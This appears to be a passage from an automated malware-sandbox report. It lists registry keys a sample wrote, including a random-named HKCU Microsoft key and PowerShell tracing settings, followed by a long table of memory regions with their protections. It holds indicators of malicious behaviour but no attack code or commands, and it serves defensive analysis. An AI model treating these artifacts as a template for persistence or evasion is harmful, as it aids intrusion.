||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ULSMonitor
|
ULSCategoriesSeverities
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ULSMonitor
|
ULSAllCategories
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Options\Save
|
BackupSharePointNotebooks
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400100000000F01FEC\Usage
|
NULL
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400100000000F01FEC\Usage
|
OCR_1033
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
|
en-GB
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
|
en-US
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
|
en-GB
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
|
en-US
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common
|
SessionId
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\ONENOTE\3424
|
0
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
|
homebusiness2019retail
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\TypeLib\{F2A7EE29-8BF6-4a6d-83F1-098E366C709C}\1.0
|
NULL
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\TypeLib\{F2A7EE29-8BF6-4a6d-83F1-098E366C709C}\1.0\0\win64
|
NULL
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\TypeLib\{0EA692EE-BB50-4E3C-AEF0-356D91732725}\1.1
|
NULL
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\TypeLib\{0EA692EE-BB50-4E3C-AEF0-356D91732725}\1.1\0\win64
|
NULL
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Interface\{E2E1511D-502D-4BD0-8B3A-8A89A05CDCAE}\ProxyStubClsid32
|
NULL
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{E2E1511D-502D-4BD0-8B3A-8A89A05CDCAE}\ProxyStubClsid32
|
NULL
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote
|
FirstBootStatus
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote
|
FirstBootStatus
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--syslcid=2057&build=16.0.14326&crev=3\0
|
FilePath
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--syslcid=2057&build=16.0.14326&crev=3\0
|
StartDate
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--syslcid=2057&build=16.0.14326&crev=3\0
|
EndDate
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming
|
RoamingConfigurableSettings
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote
|
Expires
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\ONENOTE\3424
|
0
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\ONENOTE\3424
|
0
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote
|
FirstBootStatus
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Licensing
|
NextUserLicensingLicenseIds
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache
|
LastClean
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Property
|
0018400A8DCCC20F
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935}
|
DeviceTicket
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935}
|
DeviceId
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
LastAppliedNotebookColor
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
LastAppliedNotebookColor
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\000061091A0090400100000000F01FEC\Usage
|
NULL
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\000061091A0090400100000000F01FEC\Usage
|
OneNoteFilesIntl_1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F00000000100000000F01FEC\Usage
|
OneNoteFiles
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
28cbd2bf
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
1d5402f1
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
1f15228d
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
a7a945e8
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
daa10a62
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
621d6d07
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
a5e86594
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
5782bd49
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
28cbd2bf
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
28cbd2bf
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Dtqggjbgehy
|
28cbd2bf
|
There are 154 hidden registries, click here to show them.
Memdumps
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
---|---|---|---|---|
ADA000
|
heap
|
page read and write
|
||
6938D000
|
unkown
|
page readonly
|
||
6567000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
510000
|
unclassified section
|
page readonly
|
||
2E7E000
|
stack
|
page read and write
|
||
2AA69849000
|
heap
|
page read and write
|
||
EE847BB000
|
stack
|
page read and write
|
||
7FFA3EBC0000
|
trusted library allocation
|
page read and write
|
||
2AA4F70E000
|
heap
|
page read and write
|
||
4571000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3EC50000
|
trusted library allocation
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
2AA69A5B000
|
heap
|
page read and write
|
||
4561000
|
heap
|
page read and write
|
||
29E0000
|
heap
|
page read and write
|
||
4574000
|
heap
|
page read and write
|
||
7FFA3EB00000
|
trusted library allocation
|
page execute and read and write
|
||
AE0000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2EBF000
|
stack
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
2AA511B0000
|
heap
|
page readonly
|
||
4568000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
4E81000
|
heap
|
page read and write
|
||
29BF000
|
stack
|
page read and write
|
||
5F24000
|
heap
|
page read and write
|
||
2A10000
|
heap
|
page read and write
|
||
609C000
|
heap
|
page read and write
|
||
2AA51310000
|
trusted library allocation
|
page read and write
|
||
2CB0000
|
unclassified section
|
page readonly
|
||
45BE000
|
heap
|
page read and write
|
||
1FF35810000
|
heap
|
page read and write
|
||
2DED000
|
stack
|
page read and write
|
||
1FF355F0000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
69390000
|
unkown
|
page write copy
|
||
2AA4F68D000
|
heap
|
page read and write
|
||
2AA6989A000
|
heap
|
page read and write
|
||
5F0C000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
323D000
|
stack
|
page read and write
|
||
29D0000
|
heap
|
page read and write
|
||
3100000
|
heap
|
page read and write
|
||
6DD000
|
stack
|
page read and write
|
||
23B159F8000
|
heap
|
page read and write
|
||
24ED000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
474F000
|
heap
|
page read and write
|
||
2E1E000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA51310000
|
trusted library allocation
|
page read and write
|
||
24AD000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3EB50000
|
trusted library allocation
|
page read and write
|
||
2AA5183C000
|
trusted library allocation
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
5E7EDBB000
|
stack
|
page read and write
|
||
305D000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2A64000
|
heap
|
page read and write
|
||
45E000
|
unkown
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
EE8437E000
|
stack
|
page read and write
|
||
2AA51230000
|
trusted library allocation
|
page read and write
|
||
4584000
|
heap
|
page read and write
|
||
3125000
|
heap
|
page read and write
|
||
45C0000
|
heap
|
page read and write
|
||
6565000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
322F000
|
stack
|
page read and write
|
||
2D40000
|
heap
|
page read and write
|
||
7FFA3EBD0000
|
trusted library allocation
|
page read and write
|
||
EE841FD000
|
stack
|
page read and write
|
||
45E1000
|
heap
|
page read and write
|
||
7FFA3EAEA000
|
trusted library allocation
|
page read and write
|
||
410000
|
unclassified section
|
page readonly
|
||
2BAE000
|
stack
|
page read and write
|
||
28BE000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
EE84539000
|
stack
|
page read and write
|
||
339F000
|
stack
|
page read and write
|
||
3310000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
2AA51330000
|
trusted library allocation
|
page read and write
|
||
69340000
|
unkown
|
page readonly
|
||
98E000
|
stack
|
page read and write
|
||
1FF35910000
|
heap
|
page read and write
|
||
45FC000
|
heap
|
page read and write
|
||
45E1000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
4B81000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45D0000
|
heap
|
page read and write
|
||
23B159A8000
|
heap
|
page read and write
|
||
370000
|
heap
|
page read and write
|
||
287E000
|
stack
|
page read and write
|
||
10000000
|
direct allocation
|
page read and write
|
||
3399000
|
heap
|
page read and write
|
||
625000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
46E0000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
9F73CFF000
|
stack
|
page read and write
|
||
5F5C000
|
heap
|
page read and write
|
||
2AA4F9A0000
|
heap
|
page read and write
|
||
A3D000
|
stack
|
page read and write
|
||
2AA4F650000
|
heap
|
page read and write
|
||
6938E000
|
unkown
|
page read and write
|
||
2AA699A0000
|
trusted library allocation
|
page read and write
|
||
320F000
|
stack
|
page read and write
|
||
2AA51270000
|
heap
|
page execute and read and write
|
||
2CA0000
|
heap
|
page read and write
|
||
430000
|
unclassified section
|
page readonly
|
||
4584000
|
heap
|
page read and write
|
||
3280000
|
heap
|
page read and write
|
||
4584000
|
heap
|
page read and write
|
||
620000
|
heap
|
page read and write
|
||
7B0000
|
heap
|
page read and write
|
||
2AA5145F000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
520000
|
unclassified section
|
page readonly
|
||
A3E000
|
stack
|
page read and write
|
||
2F95000
|
heap
|
page read and write
|
||
3100000
|
unclassified section
|
page readonly
|
||
2520000
|
unclassified section
|
page readonly
|
||
934000
|
heap
|
page read and write
|
||
45C0000
|
heap
|
page read and write
|
||
3210000
|
heap
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
23B15C20000
|
heap
|
page read and write
|
||
7FFA3E9E0000
|
trusted library allocation
|
page read and write
|
||
3070000
|
heap
|
page read and write
|
||
320000
|
heap
|
page read and write
|
||
5E7F0FE000
|
stack
|
page read and write
|
||
2AA61351000
|
trusted library allocation
|
page read and write
|
||
3084000
|
heap
|
page read and write
|
||
7FFA3EC40000
|
trusted library allocation
|
page read and write
|
||
2F90000
|
heap
|
page read and write
|
||
23B15C10000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3EC30000
|
trusted library allocation
|
page read and write
|
||
7FFA3EAD0000
|
trusted library allocation
|
page read and write
|
||
2AA51674000
|
trusted library allocation
|
page read and write
|
||
2B40000
|
heap
|
page read and write
|
||
324E000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
5C0000
|
unclassified section
|
page readonly
|
||
2A56000
|
heap
|
page read and write
|
||
2AA5183A000
|
trusted library allocation
|
page read and write
|
||
2BD8000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
297E000
|
stack
|
page read and write
|
||
2ADE000
|
stack
|
page read and write
|
||
3292000
|
heap
|
page read and write
|
||
2AA511A0000
|
trusted library allocation
|
page read and write
|
||
2F0F000
|
stack
|
page read and write
|
||
29C0000
|
unclassified section
|
page readonly
|
||
609C000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
359E000
|
stack
|
page read and write
|
||
3245000
|
heap
|
page read and write
|
||
3240000
|
heap
|
page read and write
|
||
5EC8000
|
heap
|
page read and write
|
||
2AA51805000
|
trusted library allocation
|
page read and write
|
||
EE848BD000
|
stack
|
page read and write
|
||
4584000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
EE855CE000
|
stack
|
page read and write
|
||
28A8000
|
heap
|
page read and write
|
||
2AA698A0000
|
heap
|
page read and write
|
||
9F73D7D000
|
stack
|
page read and write
|
||
7FFA3EB30000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA4F6DB000
|
heap
|
page read and write
|
||
7FFA3EAF0000
|
trusted library allocation
|
page execute and read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
3120000
|
heap
|
page read and write
|
||
2AA69A43000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2DCE000
|
stack
|
page read and write
|
||
440000
|
heap
|
page read and write
|
||
4584000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
3020000
|
unclassified section
|
page readonly
|
||
87D000
|
stack
|
page read and write
|
||
28C5000
|
heap
|
page read and write
|
||
3705000
|
heap
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
2AA51842000
|
trusted library allocation
|
page read and write
|
||
7FFA3E93D000
|
trusted library allocation
|
page execute and read and write
|
||
2D4F000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA4F9D5000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA69A40000
|
heap
|
page read and write
|
||
5678000
|
heap
|
page read and write
|
||
46E0000
|
heap
|
page read and write
|
||
23B15B70000
|
heap
|
page read and write
|
||
69341000
|
unkown
|
page execute read
|
||
2897000
|
heap
|
page read and write
|
||
474F000
|
heap
|
page read and write
|
||
2CA8000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
283D000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
4770000
|
trusted library allocation
|
page read and write
|
||
B2D000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2D90000
|
heap
|
page read and write
|
||
2AA51320000
|
heap
|
page execute and read and write
|
||
2AA699A0000
|
trusted library allocation
|
page read and write
|
||
B1C000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3EB80000
|
trusted library allocation
|
page read and write
|
||
B0E000
|
stack
|
page read and write
|
||
2AA51838000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7DF4EAB60000
|
trusted library allocation
|
page execute and read and write
|
||
3384000
|
heap
|
page read and write
|
||
2A64000
|
heap
|
page read and write
|
||
E4E000
|
stack
|
page read and write
|
||
2AA51952000
|
trusted library allocation
|
page read and write
|
||
2AA51878000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
1001A000
|
direct allocation
|
page readonly
|
||
EE845BA000
|
stack
|
page read and write
|
||
2E4D000
|
stack
|
page read and write
|
||
2AA51472000
|
trusted library allocation
|
page read and write
|
||
2CE0000
|
heap
|
page read and write
|
||
609C000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
4490000
|
heap
|
page read and write
|
||
567C000
|
heap
|
page read and write
|
||
69374000
|
unkown
|
page readonly
|
||
45BE000
|
heap
|
page read and write
|
||
2890000
|
heap
|
page read and write
|
||
2E20000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
291C000
|
heap
|
page read and write
|
||
2C3C000
|
stack
|
page read and write
|
||
2FEE000
|
stack
|
page read and write
|
||
2A64000
|
heap
|
page read and write
|
||
2EAE000
|
stack
|
page read and write
|
||
5670000
|
trusted library allocation
|
page read and write
|
||
46DF000
|
heap
|
page read and write
|
||
4574000
|
heap
|
page read and write
|
||
2AA4F9D0000
|
heap
|
page read and write
|
||
2AA4F820000
|
heap
|
page read and write
|
||
286E000
|
stack
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
E0F000
|
stack
|
page read and write
|
||
2E6E000
|
stack
|
page read and write
|
||
4584000
|
heap
|
page read and write
|
||
7FFA3EBE0000
|
trusted library allocation
|
page read and write
|
||
EE84ABD000
|
stack
|
page read and write
|
||
5EBC000
|
heap
|
page read and write
|
||
2AA51834000
|
trusted library allocation
|
page read and write
|
||
2AA613BE000
|
trusted library allocation
|
page read and write
|
||
5E7F07F000
|
stack
|
page read and write
|
||
2430000
|
unclassified section
|
page readonly
|
||
2AA51528000
|
trusted library allocation
|
page read and write
|
||
28FE000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA5183E000
|
trusted library allocation
|
page read and write
|
||
609C000
|
heap
|
page read and write
|
||
3391000
|
heap
|
page read and write
|
||
33E0000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45D0000
|
heap
|
page read and write
|
||
46DF000
|
heap
|
page read and write
|
||
49E000
|
stack
|
page read and write
|
||
32DE000
|
stack
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
2930000
|
heap
|
page read and write
|
||
4EC000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
EE842FF000
|
stack
|
page read and write
|
||
2935000
|
heap
|
page read and write
|
||
43B0000
|
direct allocation
|
page execute and read and write
|
||
28FD000
|
stack
|
page read and write
|
||
69373000
|
unkown
|
page read and write
|
||
46E0000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
EE843F9000
|
stack
|
page read and write
|
||
28CE000
|
heap
|
page read and write
|
||
2AA697A0000
|
heap
|
page read and write
|
||
34AF000
|
stack
|
page read and write
|
||
6566000
|
heap
|
page read and write
|
||
2B9E000
|
stack
|
page read and write
|
||
2AA4F930000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
4B81000
|
heap
|
page read and write
|
||
6D6D000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
4AB000
|
stack
|
page read and write
|
||
2AA5194C000
|
trusted library allocation
|
page read and write
|
||
336E000
|
stack
|
page read and write
|
||
331E000
|
stack
|
page read and write
|
||
310000
|
unclassified section
|
page readonly
|
||
7FFA3E933000
|
trusted library allocation
|
page execute and read and write
|
||
3370000
|
heap
|
page read and write
|
||
520000
|
heap
|
page read and write
|
||
45C0000
|
heap
|
page read and write
|
||
2910000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AB0000
|
unclassified section
|
page readonly
|
||
3800000
|
heap
|
page read and write
|
||
4594000
|
heap
|
page read and write
|
||
45C0000
|
heap
|
page read and write
|
||
4551000
|
heap
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
46D0000
|
heap
|
page read and write
|
||
7FFA3EA16000
|
trusted library allocation
|
page execute and read and write
|
||
EE84BBE000
|
stack
|
page read and write
|
||
8FE000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA69DD0000
|
heap
|
page read and write
|
||
2FCD000
|
stack
|
page read and write
|
||
2A64000
|
heap
|
page read and write
|
||
2A00000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
2B5E000
|
stack
|
page read and write
|
||
282E000
|
stack
|
page read and write
|
||
29DE000
|
stack
|
page read and write
|
||
7FFA3EBA0000
|
trusted library allocation
|
page read and write
|
||
4551000
|
heap
|
page read and write
|
||
355E000
|
stack
|
page read and write
|
||
2A64000
|
heap
|
page read and write
|
||
3250000
|
unclassified section
|
page readonly
|
||
7FFA3EB40000
|
trusted library allocation
|
page read and write
|
||
2AA4F6D6000
|
heap
|
page read and write
|
||
2AA698C0000
|
heap
|
page read and write
|
||
EE83DCE000
|
stack
|
page read and write
|
||
1FF35730000
|
heap
|
page read and write
|
||
670000
|
heap
|
page read and write
|
||
5F54000
|
heap
|
page read and write
|
||
2440000
|
heap
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA5145C000
|
trusted library allocation
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
10001000
|
direct allocation
|
page execute read
|
||
75D000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
23B159FB000
|
heap
|
page read and write
|
||
7FFA3EB70000
|
trusted library allocation
|
page read and write
|
||
308E000
|
stack
|
page read and write
|
||
28A0000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
6AE000
|
unkown
|
page read and write
|
||
800000
|
heap
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
30B0000
|
heap
|
page read and write
|
||
7A0000
|
unclassified section
|
page readonly
|
||
EE844B6000
|
stack
|
page read and write
|
||
EE8427E000
|
stack
|
page read and write
|
||
2F00000
|
heap
|
page read and write
|
||
306D000
|
stack
|
page read and write
|
||
2CD1000
|
heap
|
page read and write
|
||
2F50000
|
heap
|
page read and write
|
||
2A64000
|
heap
|
page read and write
|
||
30DD000
|
stack
|
page read and write
|
||
7FFA3E9F0000
|
trusted library allocation
|
page execute and read and write
|
||
2DAD000
|
stack
|
page read and write
|
||
2F50000
|
heap
|
page read and write
|
||
2CD1000
|
heap
|
page read and write
|
||
2CF0000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
930000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
327A000
|
heap
|
page read and write
|
||
2CE5000
|
heap
|
page read and write
|
||
35E0000
|
heap
|
page read and write
|
||
7FFA3EB60000
|
trusted library allocation
|
page read and write
|
||
3560000
|
heap
|
page read and write
|
||
44A0000
|
heap
|
page read and write
|
||
2A56000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA61360000
|
trusted library allocation
|
page read and write
|
||
EE8473E000
|
stack
|
page read and write
|
||
46DF000
|
heap
|
page read and write
|
||
2CF8000
|
heap
|
page read and write
|
||
E8F000
|
stack
|
page read and write
|
